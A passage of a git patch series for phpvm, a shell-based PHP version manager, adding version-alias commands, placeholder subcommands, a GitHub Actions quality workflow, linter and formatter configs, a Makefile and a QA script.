+4. Update documentation (README.md, help text)
+5. Maintain backward compatibility
+6. Add to CHANGELOG.md
+
+## ⚠️ Important Notes
+
+### PHP vs Node.js Differences
+- **No LTS:** PHP doesn't have LTS versions like Node.js
+- **Package Managers:** phpvm uses system package managers (apt, brew, etc.)
+- **Extensions:** PHP uses compiled C extensions, not npm packages
+- **Platform Specific:** Some features may vary by package manager
+
+### Backward Compatibility
+- All new features must be optional
+- Existing commands must work unchanged
+- Default behavior must remain consistent
+- Old .phpvmrc files must still work
+
+## 📞 Questions or Feedback?
+
+- **Detailed Analysis:** See [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md)
+- **Quick Reference:** See [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md)
+- **Issues:** Create a GitHub issue
+- **Discussions:** Use GitHub Discussions
+
+---
+
+**Analysis Date:** 2026-01-04  
+**Analysis Version:** 1.0  
+**phpvm Version Analyzed:** 1.7.0  
+**nvm Reference Version:** Latest (4662 lines)  
+**Prepared by:** GitHub Copilot Analysis

From 439c48eeccf1ebce92f69c841e5ec732c5c6582b Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <jerome@kayatech.com>
Date: Thu, 15 Jan 2026 20:46:13 +0530
Subject: [PATCH 05/20] feat: add alias support and QA tooling

---
 .github/workflows/quality.yml | 195 +++++++++++++++++++++++
 .shellcheckrc                 |  34 ++++
 .shfmt.config                 |  18 +++
 .vscode/settings.json         |  44 ++++++
 Makefile                      | 196 ++++++++++++++++++++++++
 phpvm.sh                      | 281 ++++++++++++++++++++++++++++++++++
 qa.sh                         | 120 +++++++++++++++
 tests/01_core.bats            | 105 +++++++++++++
 tests/02_features.bats        |  83 ++++++++++
 tests/03_error_handling.bats  | 108 +++++++++++++
 tests/test_helper.bash        |  46 ++++++
 11 files changed, 1230 insertions(+)
 create mode 100644 .github/workflows/quality.yml
 create mode 100644 .shellcheckrc
 create mode 100644 .shfmt.config
 create mode 100644 Makefile
 create mode 100755 qa.sh
 create mode 100644 tests/01_core.bats
 create mode 100644 tests/02_features.bats
 create mode 100644 tests/03_error_handling.bats
 create mode 100644 tests/test_helper.bash

diff --git a/.github/workflows/quality.yml b/.github/workflows/quality.yml
new file mode 100644
index 0000000..73093da
--- /dev/null
+++ b/.github/workflows/quality.yml
@@ -0,0 +1,195 @@
+name: Quality Assurance
+
+on:
+    push:
+        branches: [main, development, 'fix/**', 'feature/**']
+    pull_request:
+        branches: [main, development]
+    workflow_dispatch:
+
+jobs:
+    # Linting and formatting checks
+    lint:
+        name: 'Lint & Format Check'
+        runs-on: ubuntu-latest
+        steps:
+            - name: Checkout Repository
+              uses: actions/checkout@v4
+
+            - name: Install ShellCheck
+              run: |
+                  sudo apt-get update
+                  sudo apt-get install -y shellcheck
+
+            - name: Install shfmt
+              run: |
+                  wget -O shfmt https://github.com/mvdan/sh/releases/latest/download/shfmt_v3.8.0_linux_amd64
+                  chmod +x shfmt
+                  sudo mv shfmt /usr/local/bin/
+
+            - name: Run ShellCheck
+              run: |
+                  echo "Running ShellCheck..."
+                  shellcheck phpvm.sh install.sh || exit 1
+
+            - name: Check Code Formatting
+              run: |
+                  echo "Checking code formatting..."
+                  shfmt -d -i 4 -sr phpvm.sh install.sh || {
+                    echo "Code formatting issues detected!"
+                    echo "Run 'make format' locally to fix."
+                    exit 1
+                  }
+
+            - name: Check for Common Issues
+              run: |
+                  echo "Checking for common issues..."
+
+                  # Check for trailing whitespace
+                  if grep -n '[[:space:]]$' phpvm.sh install.sh; then
+                    echo "Trailing whitespace found (see above)"
+                    exit 1
+                  fi
+
+                  # Check for tabs (should use spaces)
+                  if grep -P '\t' phpvm.sh install.sh; then
+                    echo "Tabs found - please use spaces for indentation"
+                    exit 1
+                  fi
+
+                  echo "No common issues found!"
+
+    # BATS test suite
+    bats-tests:
+        name: 'BATS Tests (${{ matrix.os }})'
+        runs-on: ${{ matrix.os }}
+        needs: lint
+        strategy:
+            fail-fast: false
+            matrix:
+                os: [ubuntu-latest, macos-latest]
+
+        steps:
+            - name: Checkout Repository
+              uses: actions/checkout@v4
+
+            - name: Install BATS
+              run: |
+                  if [ "${{ matrix.os }}" = "macos-latest" ]; then
+                    brew install bats-core
+                  else
+                    sudo apt-get update
+                    sudo apt-get install -y bats
+                  fi
+
+            - name: Run BATS Test Suite
+              run: |
+                  echo "Running BATS tests..."
+                  bats tests/ -t
+
+            - name: Upload Test Results
+              if: always()
+              uses: actions/upload-artifact@v4
+              with:
+                  name: bats-results-${{ matrix.os }}
+                  path: test-results/
+                  retention-days: 30
+
+    # Built-in phpvm tests
+    builtin-tests:
+        name: 'Built-in Tests (${{ matrix.os }})'
+        runs-on: ${{ matrix.os }}
+        needs: lint
+        strategy:
+            fail-fast: false
+            matrix:
+                os: [ubuntu-latest, macos-latest]
+
+        steps:
+            - name: Checkout Repository
+              uses: actions/checkout@v4
+
+            - name: Run phpvm Built-in Tests
+              run: |
+                  echo "Running built-in tests..."
+                  bash phpvm.sh test
+
+    # Integration tests - Test with actual PHP installations
+    integration-tests:
+        name: 'Integration Tests (${{ matrix.os }})'
+        runs-on: ${{ matrix.os }}
+        needs: [lint, bats-tests, builtin-tests]
+        strategy:
+            fail-fast: false
+            matrix:
+                os: [ubuntu-latest, macos-latest]
+
+        steps:
+            - name: Checkout Repository
+              uses: actions/checkout@v4
+
+            - name: Setup Test Environment
+              run: |
+                  export PHPVM_DIR="$HOME/.phpvm-test"
+                  mkdir -p "$PHPVM_DIR"
+                  ./install.sh
+
+            - name: Test PHP Installation (macOS)
+              if: matrix.os == 'macos-latest'
+              run: |
+                  source "$HOME/.phpvm-test/phpvm.sh"
+
+                  # Test install
+                  phpvm install 8.2 || echo "PHP 8.2 already installed"
+
+                  # Test use
+                  phpvm use 8.2
+
+                  # Verify PHP version
+                  php -v
+
+                  # Test current
+                  phpvm current
+
+            - name: Test PHP Installation (Ubuntu)
+              if: matrix.os == 'ubuntu-latest'
+              run: |
+                  source "$HOME/.phpvm-test/phpvm.sh"
+
+                  # Add repository
+                  sudo add-apt-repository -y ppa:ondrej/php
+                  sudo apt-get update
+
+                  # Test install
+                  phpvm install 8.2 || echo "PHP 8.2 installation attempted"
+
+                  # Test current
+                  phpvm current || echo "No active version yet"
+
+            - name: Cleanup
+              if: always()
+              run: |
+                  rm -rf "$HOME/.phpvm-test"
+
+    # Quality gate - All checks must pass
+    quality-gate:
+        name: 'Quality Gate'
+        runs-on: ubuntu-latest
+        needs: [lint, bats-tests, builtin-tests]
+        if: always()
+        steps:
+            - name: Check All Jobs
+              run: |
+                  if [ "${{ needs.lint.result }}" != "success" ]; then
+                    echo "Linting failed!"
+                    exit 1
+                  fi
+                  if [ "${{ needs.bats-tests.result }}" != "success" ]; then
+                    echo "BATS tests failed!"
+                    exit 1
+                  fi
+                  if [ "${{ needs.builtin-tests.result }}" != "success" ]; then
+                    echo "Built-in tests failed!"
+                    exit 1
+                  fi
+                  echo "All quality checks passed! ✅"
diff --git a/.shellcheckrc b/.shellcheckrc
new file mode 100644
index 0000000..183dbfe
--- /dev/null
+++ b/.shellcheckrc
@@ -0,0 +1,34 @@
+# ShellCheck configuration for phpvm
+# See https://github.com/koalaman/shellcheck/wiki
+
+# Disable specific checks that are intentional or not applicable
+
+# SC2155: Declare and assign separately to avoid masking return values
+# We use this pattern intentionally for readability in some cases
+disable=SC2155
+
+# SC1091: Not following: file not included in repository
+# We source files that may not exist yet
+disable=SC1091
+
+# SC2317: Command appears to be unreachable (in functions)
+# False positives with our function structure
+disable=SC2317
+
+# SC2034: Variable appears unused
+# Some variables are used in eval or sourced contexts
+disable=SC2034
+
+# Enable optional checks
+enable=quote-safe-variables
+enable=require-variable-braces
+enable=check-unassigned-uppercase
+
+# Set shell to bash
+shell=bash
+
+# External sources that we know about
+source-path=SCRIPTDIR
+
+# Exclude patterns
+exclude=SC1090,SC1091
diff --git a/.shfmt.config b/.shfmt.config
new file mode 100644
index 0000000..3cc17db
--- /dev/null
+++ b/.shfmt.config
@@ -0,0 +1,18 @@
+# shfmt configuration for phpvm
+# Format: bash
+# See https://github.com/mvdan/sh
+
+# Use bash syntax
+--language-dialect bash
+
+# Indent with 4 spaces (matches .editorconfig)
+--indent 4
+
+# Use spaces for indentation
+--space-redirects
+
+# Simplify code
+--simplify
+
+# Keep column alignment for readability
+# (don't use --minify)
diff --git a/.vscode/settings.json b/.vscode/settings.json
index f94ad0d..decd657 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -10,5 +10,49 @@
     },
     "**/*.js.map": true,
     ".mule": true
+  },
+  // Shell script settings
+  "shellcheck.enable": true,
+  "shellcheck.run": "onType",
+  "shellcheck.executablePath": "shellcheck",
+  "[shellscript]": {
+    "editor.formatOnSave": false,
+    "editor.tabSize": 4,
+    "editor.insertSpaces": true
+  },
+  // File associations
+  "files.associations": {
+    "*.sh": "shellscript",
+    ".shellcheckrc": "properties",
+    "Makefile": "makefile"
+  },
+  // Markdown settings
+  "[markdown]": {
+    "editor.formatOnSave": true,
+    "editor.wordWrap": "on",
+    "editor.quickSuggestions": {
+      "comments": "off",
+      "strings": "off",
+      "other": "off"
+    }
+  },
+  // Terminal settings
+  "terminal.integrated.env.osx": {
+    "PHPVM_DIR": "${env:HOME}/.phpvm"
+  },
+  "terminal.integrated.env.linux": {
+    "PHPVM_DIR": "${env:HOME}/.phpvm"
+  },
+  // Testing
+  "bats.enabled": true,
+  // Git
+  "git.ignoreLimitWarning": true,
+  // Search exclusions
+  "search.exclude": {
+    "**/node_modules": true,
+    "**/bower_components": true,
+    "**/.phpvm": true,
+    "**/versions": true,
+    "**/.git": true
   }
 }
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..9a78568
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,196 @@
+# Makefile for phpvm - PHP Version Manager
+# Provides convenient commands for development, testing, and quality assurance
+
+.PHONY: help install test lint format check clean release
+
+# Colors for output
+BLUE := \033[0;34m
+GREEN := \033[0;32m
+YELLOW := \033[0;33m
+RED := \033[0;31m
+NC := \033[0m # No Color
+
+# Default target
+.DEFAULT_GOAL := help
+
+## help: Display this help message
+help:
+	@echo "$(BLUE)phpvm Development Commands$(NC)"
+	@echo ""
+	@echo "$(GREEN)Setup:$(NC)"
+	@echo "  make install        Install development dependencies"
+	@echo "  make install-hooks  Install git pre-commit hooks"
+	@echo ""
+	@echo "$(GREEN)Quality Assurance:$(NC)"
+	@echo "  make lint           Run shellcheck linter"
+	@echo "  make format         Format code with shfmt"
+	@echo "  make format-check   Check if code is formatted (CI)"
+	@echo "  make check          Run all checks (lint + format-check + test)"
+	@echo ""
+	@echo "$(GREEN)Testing:$(NC)"
+	@echo "  make test           Run built-in phpvm tests"
+	@echo "  make test-bats      Run BATS test suite"
+	@echo "  make test-all       Run all tests"
+	@echo "  make coverage       Run tests with coverage (if available)"
+	@echo ""
+	@echo "$(GREEN)Cleanup:$(NC)"
+	@echo "  make clean          Remove temporary files and caches"
+	@echo ""
+	@echo "$(GREEN)Release:$(NC)"
+	@echo "  make release        Prepare for release (check + test)"
+	@echo ""
+
+## install: Install development dependencies
+install:
+	@echo "$(BLUE)Installing development dependencies...$(NC)"
+	@command -v shellcheck >/dev/null 2>&1 || { \
+		echo "$(YELLOW)Installing shellcheck...$(NC)"; \
+		if [ "$$(uname)" = "Darwin" ]; then \
+			brew install shellcheck; \
+		elif command -v apt-get >/dev/null 2>&1; then \
+			sudo apt-get update && sudo apt-get install -y shellcheck; \
+		elif command -v dnf >/dev/null 2>&1; then \
+			sudo dnf install -y ShellCheck; \
+		else \
+			echo "$(RED)Please install shellcheck manually$(NC)"; \
+		fi; \
+	}
+	@command -v shfmt >/dev/null 2>&1 || { \
+		echo "$(YELLOW)Installing shfmt...$(NC)"; \
+		if [ "$$(uname)" = "Darwin" ]; then \
+			brew install shfmt; \
+		else \
+			GO111MODULE=on go install mvdan.cc/sh/v3/cmd/shfmt@latest 2>/dev/null || \
+			echo "$(RED)Please install shfmt manually: https://github.com/mvdan/sh$(NC)"; \
+		fi; \
+	}
+	@command -v bats >/dev/null 2>&1 || { \
+		echo "$(YELLOW)Installing BATS...$(NC)"; \
+		./install-bats.sh; \
+	}
+	@echo "$(GREEN)Development dependencies installed!$(NC)"
+
+## install-hooks: Install git pre-commit hooks
+install-hooks:
+	@echo "$(BLUE)Installing git pre-commit hooks...$(NC)"
+	@mkdir -p .git/hooks
+	@cat > .git/hooks/pre-commit << 'EOF'\n\
+#!/bin/bash\n\
+# phpvm pre-commit hook\n\
+\n\
+echo "Running pre-commit checks..."\n\
+\n\
+# Run format check\n\
+if ! make format-check; then\n\
+    echo "Error: Code formatting issues detected. Run 'make format' to fix."\n\
+    exit 1\n\
+fi\n\
+\n\
+# Run linter\n\
+if ! make lint; then\n\
+    echo "Error: Linting issues detected. Please fix before committing."\n\
+    exit 1\n\
+fi\n\
+\n\
+echo "Pre-commit checks passed!"\n\
+exit 0\n\
+EOF
+	@chmod +x .git/hooks/pre-commit
+	@echo "$(GREEN)Git hooks installed!$(NC)"
+
+## lint: Run shellcheck linter
+lint:
+	@echo "$(BLUE)Running ShellCheck...$(NC)"
+	@shellcheck phpvm.sh install.sh || { \
+		echo "$(RED)Linting failed!$(NC)"; \
+		exit 1; \
+	}
+	@echo "$(GREEN)Linting passed!$(NC)"
+
+## format: Format code with shfmt
+format:
+	@echo "$(BLUE)Formatting shell scripts...$(NC)"
+	@if command -v shfmt >/dev/null 2>&1; then \
+		shfmt -w -i 4 -sr phpvm.sh install.sh; \
+		echo "$(GREEN)Formatting complete!$(NC)"; \
+	else \
+		echo "$(RED)shfmt not found. Run 'make install' first.$(NC)"; \
+		exit 1; \
+	fi
+
+## format-check: Check if code is formatted (for CI)
+format-check:
+	@echo "$(BLUE)Checking code formatting...$(NC)"
+	@if command -v shfmt >/dev/null 2>&1; then \
+		if shfmt -d -i 4 -sr phpvm.sh install.sh | grep -q .; then \
+			echo "$(RED)Code formatting issues detected. Run 'make format' to fix.$(NC)"; \
+			shfmt -d -i 4 -sr phpvm.sh install.sh; \
+			exit 1; \
+		else \
+			echo "$(GREEN)Code formatting is correct!$(NC)"; \
+		fi; \
+	else \
+		echo "$(YELLOW)shfmt not found, skipping format check$(NC)"; \
+	fi
+
+## test: Run built-in phpvm tests
+test:
+	@echo "$(BLUE)Running phpvm built-in tests...$(NC)"
+	@bash phpvm.sh test || { \
+		echo "$(RED)Tests failed!$(NC)"; \
+		exit 1; \
+	}
+	@echo "$(GREEN)Built-in tests passed!$(NC)"
+
+## test-bats: Run BATS test suite
+test-bats:
+	@echo "$(BLUE)Running BATS test suite...$(NC)"
+	@if [ -d "tests" ]; then \
+		if command -v bats >/dev/null 2>&1; then \
+			bats tests/ || { \
+				echo "$(RED)BATS tests failed!$(NC)"; \
+				exit 1; \
+			}; \
+			echo "$(GREEN)BATS tests passed!$(NC)"; \
+		else \
+			echo "$(YELLOW)BATS not installed. Run 'make install' first.$(NC)"; \
+		fi; \
+	else \
+		echo "$(YELLOW)No BATS tests found in tests/ directory$(NC)"; \
+	fi
+
+## test-all: Run all tests
+test-all: test test-bats
+	@echo "$(GREEN)All tests passed!$(NC)"
+
+## coverage: Run tests with coverage (placeholder for future enhancement)
+coverage:
+	@echo "$(YELLOW)Code coverage for shell scripts requires additional tooling$(NC)"
+	@echo "Consider using: https://github.com/SimonKagstrom/kcov"
+
+## check: Run all quality checks
+check: lint format-check test
+	@echo "$(GREEN)All checks passed!$(NC)"
+
+## clean: Remove temporary files and caches
+clean:
+	@echo "$(BLUE)Cleaning up...$(NC)"
+	@find . -name "*.tmp" -delete
+	@find . -name "*~" -delete
+	@rm -rf .phpvm-test-*
+	@rm -rf /tmp/phpvm-test-*
+	@echo "$(GREEN)Cleanup complete!$(NC)"
+
+## release: Prepare for release
+release: check
+	@echo "$(GREEN)Ready for release!$(NC)"
+	@echo ""
+	@echo "Next steps:"
+	@echo "  1. Update CHANGELOG.md with release notes"
+	@echo "  2. Update version in phpvm.sh (PHPVM_VERSION)"
+	@echo "  3. Commit changes: git commit -am 'chore: prepare vX.Y.Z release'"
+	@echo "  4. Create tag: git tag -a vX.Y.Z -m 'Release vX.Y.Z'"
+	@echo "  5. Push: git push origin main --tags"
+
+# Prevent make from treating files as targets
+.NOTPARALLEL:
diff --git a/phpvm.sh b/phpvm.sh
index 74de409..1750952 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -138,6 +138,14 @@ create_directories() {
         phpvm_err "Failed to create directory $PHPVM_VERSIONS_DIR"
         return 1
     }
+
+    # Create alias directory for future alias support
+    # This directory will store version aliases (e.g., default -> 8.2)
+    mkdir -p "$PHPVM_DIR/alias" 2>/dev/null || true
+
+    # Create cache directory for future caching support
+    # This will store metadata and potentially downloaded packages
+    mkdir -p "$PHPVM_DIR/cache" 2>/dev/null || true
 }
 
 # Get OS information
@@ -377,6 +385,32 @@ validate_php_version() {
     return $PHPVM_EXIT_INVALID_ARG
 }
 
+# Resolve version alias to actual version number
+# Returns the resolved version or the input if no alias is found
+phpvm_resolve_version() {
+    local input="$1"
+    local resolved=""
+
+    # Return early for empty input
+    if [ -z "$input" ]; then
+        return 1
+    fi
+
+    # Check alias file first
+    if [ -f "$PHPVM_DIR/alias/$input" ]; then
+        resolved=$(command cat "$PHPVM_DIR/alias/$input" 2>/dev/null | command tr -d '[:space:]')
+        if [ -n "$resolved" ]; then
+            phpvm_debug "Resolved alias '$input' to version '$resolved'"
+            echo "$resolved"
+            return 0
+        fi
+    fi
+
+    # No alias found, return input as-is
+    echo "$input"
+    return 0
+}
+
 # Check if Remi repository is available/enabled for RHEL/Fedora systems
 check_remi_repository() {
     # Check if Remi repository is installed
@@ -492,6 +526,9 @@ install_php() {
         return 1
     }
 
+    # Resolve aliases to actual versions
+    version=$(phpvm_resolve_version "$version")
+
     # Validate version format
     if ! validate_php_version "$version"; then
         phpvm_err "Invalid PHP version format: $version. Expected format: X.Y or X.Y.Z"
@@ -771,6 +808,9 @@ use_php_version() {
         return $PHPVM_EXIT_INVALID_ARG
     }
 
+    # Resolve aliases to actual versions
+    version=$(phpvm_resolve_version "$version")
+
     # Validate version format
     if ! validate_php_version "$version"; then
         phpvm_err "Invalid PHP version format: $version. Expected format: X.Y, X.Y.Z, or 'system'"
@@ -1082,6 +1122,9 @@ phpvm_which() {
         version=$(phpvm_current)
     fi
 
+    # Resolve aliases to actual versions
+    version=$(phpvm_resolve_version "$version")
+
     # Handle special cases
     case "$version" in
         none)
@@ -1312,6 +1355,42 @@ auto_switch_php_version() {
     return 0
 }
 
+# List configured aliases
+# Usage: phpvm_list_aliases [pattern]
+phpvm_list_aliases() {
+    local pattern="${1:-}"
+    local alias_file
+    local alias_name
+    local alias_target
+    local matched=false
+
+    if [ ! -d "$PHPVM_DIR/alias" ]; then
+        return 1
+    fi
+
+    for alias_file in "$PHPVM_DIR/alias"/*; do
+        if [ -f "$alias_file" ]; then
+            alias_name=$(basename "$alias_file")
+            alias_target=$(command cat "$alias_file" 2>/dev/null | command tr -d '[:space:]')
+            if [ -n "$pattern" ]; then
+                if echo "$alias_name" | command grep -qi "$pattern"; then
+                    echo "  $alias_name -> $alias_target"
+                    matched=true
+                fi
+            else
+                echo "  $alias_name -> $alias_target"
+                matched=true
+            fi
+        fi
+    done
+
+    if [ "$matched" = "true" ]; then
+        return 0
+    fi
+
+    return 1
+}
+
 # List installed PHP versions
 list_installed_versions() {
     local dir
@@ -1386,6 +1465,12 @@ list_installed_versions() {
     else
         phpvm_warn "No active PHP version set."
     fi
+
+    if phpvm_list_aliases >/dev/null 2>&1; then
+        echo ""
+        phpvm_echo "Aliases:"
+        phpvm_list_aliases || true
+    fi
 }
 
 # Print help message
@@ -1403,6 +1488,8 @@ Usage:
   phpvm system              Switch to system PHP version
   phpvm auto                Auto-switch based on .phpvmrc file
   phpvm list                List installed PHP versions
+    phpvm alias [name] [ver]  Create, update, or list version aliases
+    phpvm unalias <name>      Remove version alias
   phpvm help                Show this help message
   phpvm test                Run self-tests to verify functionality
   phpvm info                Show system information for debugging
@@ -1418,6 +1505,12 @@ Examples:
   phpvm system              Switch to system PHP version
   phpvm auto                Auto-switch based on current directory
 
+Planned Features (Coming Soon):
+  phpvm exec <ver> <cmd>    Execute command with specific PHP version (Phase 1)
+  phpvm run <ver> [script]  Run PHP script with specific version (Phase 1)
+  phpvm ls-remote [pattern] List available remote PHP versions (Phase 2)
+  phpvm cache <dir|clear>   Manage cache directory (Phase 1)
+
 Exit Codes:
   0   Success
   1   General error
@@ -1893,6 +1986,33 @@ EOF
         return 0
     }
 
+    # Test alias management
+    test_phpvm_alias() {
+        local alias_file="$PHPVM_DIR/alias/test-alias"
+
+        # Create alias
+        phpvm_alias "test-alias" "8.1" >/dev/null 2>&1 || return 1
+        [ -f "$alias_file" ] || return 1
+
+        # Resolve alias
+        if [ "$(phpvm_resolve_version test-alias)" != "8.1" ]; then
+            echo "Alias did not resolve correctly"
+            return 1
+        fi
+
+        # Show alias
+        if ! phpvm_alias "test-alias" | grep -q "test-alias"; then
+            echo "Alias display failed"
+            return 1
+        fi
+
+        # Remove alias
+        phpvm_unalias "test-alias" >/dev/null 2>&1 || return 1
+        [ ! -f "$alias_file" ] || return 1
+
+        return 0
+    }
+
     # Test phpvm_deactivate function
     test_phpvm_deactivate() {
         # Setup: Simulate an active phpvm state
@@ -1996,6 +2116,9 @@ EOF
     total=$((total + 1))
     test_function "phpvm_which" test_phpvm_which || failed=$((failed + 1))
 
+    total=$((total + 1))
+    test_function "phpvm_alias" test_phpvm_alias || failed=$((failed + 1))
+
     total=$((total + 1))
     test_function "phpvm_deactivate" test_phpvm_deactivate || failed=$((failed + 1))
 
@@ -2132,6 +2255,146 @@ uninstall_php() {
     return 0
 }
 
+# ============================================================================
+# FEATURE PLACEHOLDERS - To be implemented in future versions
+# These functions are stubs for planned features from the NVM feature gap analysis
+# See NVM_FEATURE_GAPS.md for detailed implementation guidance
+# ============================================================================
+
+# Placeholder: Execute command with specific PHP version (HIGH PRIORITY - Phase 1)
+# Usage: phpvm_exec <version> <command> [args...]
+# Example: phpvm exec 8.2 composer install
+phpvm_exec() {
+    phpvm_err "The 'exec' command is not yet implemented."
+    phpvm_warn "This feature is planned for Phase 1 of the NVM parity roadmap."
+    phpvm_warn "Usage: phpvm exec <version> <command> [args...]"
+    return $PHPVM_EXIT_ERROR
+}
+
+# Placeholder: Run PHP script with specific version (HIGH PRIORITY - Phase 1)
+# Usage: phpvm_run <version> [script] [args...]
+# Example: phpvm run 8.1 script.php arg1 arg2
+phpvm_run() {
+    phpvm_err "The 'run' command is not yet implemented."
+    phpvm_warn "This feature is planned for Phase 1 of the NVM parity roadmap."
+    phpvm_warn "Usage: phpvm run <version> [script] [args...]"
+    return $PHPVM_EXIT_ERROR
+}
+
+# Placeholder: List available remote PHP versions (HIGH PRIORITY - Phase 2)
+# Usage: phpvm_ls_remote [pattern]
+# Example: phpvm ls-remote 8.2
+phpvm_ls_remote() {
+    phpvm_err "The 'ls-remote' command is not yet implemented."
+    phpvm_warn "This feature is planned for Phase 2 of the NVM parity roadmap."
+    phpvm_warn "Usage: phpvm ls-remote [pattern]"
+    return $PHPVM_EXIT_ERROR
+}
+
+# Placeholder: Manage version aliases (HIGH PRIORITY - Phase 1)
+# Usage: phpvm_alias [name] [version]
+# Example: phpvm alias default 8.2
+phpvm_alias() {
+    local name="$1"
+    local version="$2"
+
+    # List aliases (optionally filtered by pattern)
+    if [ -z "$name" ]; then
+        phpvm_echo "Version aliases:"
+        if phpvm_list_aliases; then
+            return 0
+        fi
+        echo "  (no aliases defined)"
+        return 0
+    fi
+
+    # Show single alias
+    if [ -z "$version" ]; then
+        if [ -f "$PHPVM_DIR/alias/$name" ]; then
+            local alias_target
+            alias_target=$(command cat "$PHPVM_DIR/alias/$name" 2>/dev/null | command tr -d '[:space:]')
+            echo "$name -> $alias_target"
+            return 0
+        fi
+        phpvm_err "Alias '$name' not found."
+        return $PHPVM_EXIT_NOT_FOUND
+    fi
+
+    # Validate alias name
+    if ! echo "$name" | command grep -qE '^[a-zA-Z0-9_-]+$'; then
+        phpvm_err "Invalid alias name: $name (use only letters, numbers, hyphens, and underscores)"
+        return $PHPVM_EXIT_INVALID_ARG
+    fi
+
+    # Resolve version and validate
+    version=$(phpvm_resolve_version "$version")
+    if ! validate_php_version "$version"; then
+        phpvm_err "Invalid PHP version format: $version"
+        return $PHPVM_EXIT_INVALID_ARG
+    fi
+
+    if phpvm_atomic_write "$PHPVM_DIR/alias/$name" "$version"; then
+        phpvm_echo "Alias '$name' set to PHP $version"
+        return 0
+    fi
+
+    phpvm_err "Failed to create alias '$name'"
+    return $PHPVM_EXIT_FILE_ERROR
+}
+
+# Placeholder: Remove version alias (HIGH PRIORITY - Phase 1)
+# Usage: phpvm_unalias <name>
+# Example: phpvm unalias default
+phpvm_unalias() {
+    local name="$1"
+
+    if [ -z "$name" ]; then
+        phpvm_err "Missing alias name."
+        phpvm_warn "Usage: phpvm unalias <name>"
+        return $PHPVM_EXIT_INVALID_ARG
+    fi
+
+    if [ ! -f "$PHPVM_DIR/alias/$name" ]; then
+        phpvm_err "Alias '$name' not found."
+        return $PHPVM_EXIT_NOT_FOUND
+    fi
+
+    if rm -f "$PHPVM_DIR/alias/$name" 2>/dev/null; then
+        phpvm_echo "Alias '$name' removed."
+        return 0
+    fi
+
+    phpvm_err "Failed to remove alias '$name'"
+    return $PHPVM_EXIT_FILE_ERROR
+}
+
+# Placeholder: Cache management (HIGH PRIORITY - Phase 1)
+# Usage: phpvm_cache <dir|clear>
+# Example: phpvm cache clear
+phpvm_cache() {
+    local subcmd="${1:-}"
+    case "$subcmd" in
+        dir)
+            echo "$PHPVM_DIR/cache"
+            return 0
+            ;;
+        clear)
+            phpvm_err "The 'cache clear' command is not yet implemented."
+            phpvm_warn "This feature is planned for Phase 1 of the NVM parity roadmap."
+            return $PHPVM_EXIT_ERROR
+            ;;
+        *)
+            phpvm_err "Unknown cache subcommand: $subcmd"
+            phpvm_warn "Usage: phpvm cache <dir|clear>"
+            return $PHPVM_EXIT_INVALID_ARG
+            ;;
+    esac
+}
+
+# ============================================================================
+# END FEATURE PLACEHOLDERS
+# ============================================================================
+
 # Main function to handle commands
 main() {
     local command
@@ -2201,6 +2464,24 @@ main() {
     info | sysinfo)
         print_system_info
         ;;
+    exec)
+        phpvm_exec "$@"
+        ;;
+    run)
+        phpvm_run "$@"
+        ;;
+    ls-remote)
+        phpvm_ls_remote "$@"
+        ;;
+    alias)
+        phpvm_alias "$@"
+        ;;
+    unalias)
+        phpvm_unalias "$@"
+        ;;
+    cache)
+        phpvm_cache "$@"
+        ;;
     *)
         phpvm_err "Unknown command: $command"
         print_help
diff --git a/qa.sh b/qa.sh
new file mode 100755
index 0000000..3db99a5
--- /dev/null
+++ b/qa.sh
@@ -0,0 +1,120 @@
+#!/bin/bash
+# Quality Assurance Script for phpvm
+# Runs all quality checks: linting, formatting, and tests
+
+set -e
+
+# Colors for output
+BLUE='\033[0;34m'
+GREEN='\033[0;32m'
+YELLOW='\033[0;33m'
+RED='\033[0;31m'
+NC='\033[0m' # No Color
+
+# Track failures
+FAILED=0
+
+# Banner
+echo -e "${BLUE}╔════════════════════════════════════════╗${NC}"
+echo -e "${BLUE}║   phpvm Quality Assurance Check        ║${NC}"
+echo -e "${BLUE}╚════════════════════════════════════════╝${NC}"
+echo ""
+
+# Function to run check
+run_check() {
+    local name="$1"
+    local command="$2"
+
+    echo -e "${BLUE}▶ Running: ${name}${NC}"
+
+    if eval "$command"; then
+        echo -e "${GREEN}✓ ${name} passed${NC}"
+        echo ""
+        return 0
+    else
+        echo -e "${RED}✗ ${name} failed${NC}"
+        echo ""
+        FAILED=$((FAILED + 1))
+        return 1
+    fi
+}
+
+# Check if commands exist
+check_dependencies() {
+    local missing=()
+
+    command -v shellcheck >/dev/null 2>&1 || missing+=("shellcheck")
+    command -v shfmt >/dev/null 2>&1 || missing+=("shfmt")
+    command -v bats >/dev/null 2>&1 || missing+=("bats")
+
+    if [ ${#missing[@]} -gt 0 ]; then
+        echo -e "${YELLOW}Warning: Missing dependencies: ${missing[*]}${NC}"
+        echo -e "${YELLOW}Run 'make install' to install all dependencies${NC}"
+        echo ""
+        return 1
+    fi
+
+    return 0
+}
+
+# Step 1: Check dependencies
+echo -e "${BLUE}Step 1/5: Checking dependencies${NC}"
+if check_dependencies; then
+    echo -e "${GREEN}✓ All dependencies installed${NC}"
+else
+    echo -e "${YELLOW}⚠ Some dependencies missing (will skip those checks)${NC}"
+fi
+echo ""
+
+# Step 2: ShellCheck (Linting)
+if command -v shellcheck >/dev/null 2>&1; then
+    run_check "ShellCheck Linting" "shellcheck phpvm.sh install.sh" || true
+else
+    echo -e "${YELLOW}⚠ Skipping ShellCheck (not installed)${NC}"
+    echo ""
+fi
+
+# Step 3: Code Formatting Check
+if command -v shfmt >/dev/null 2>&1; then
+    run_check "Code Formatting Check" "shfmt -d -i 4 -sr phpvm.sh install.sh" || true
+else
+    echo -e "${YELLOW}⚠ Skipping format check (shfmt not installed)${NC}"
+    echo ""
+fi
+
+# Step 4: Built-in Tests
+run_check "Built-in Tests" "bash phpvm.sh test" || true
+
+# Step 5: BATS Test Suite
+if command -v bats >/dev/null 2>&1 && [ -d "tests" ]; then
+    run_check "BATS Test Suite" "bats tests/" || true
+else
+    if [ ! -d "tests" ]; then
+        echo -e "${YELLOW}⚠ Skipping BATS tests (tests/ directory not found)${NC}"
+    else
+        echo -e "${YELLOW}⚠ Skipping BATS tests (bats not installed)${NC}"
+    fi
+    echo ""
+fi
+
+# Summary
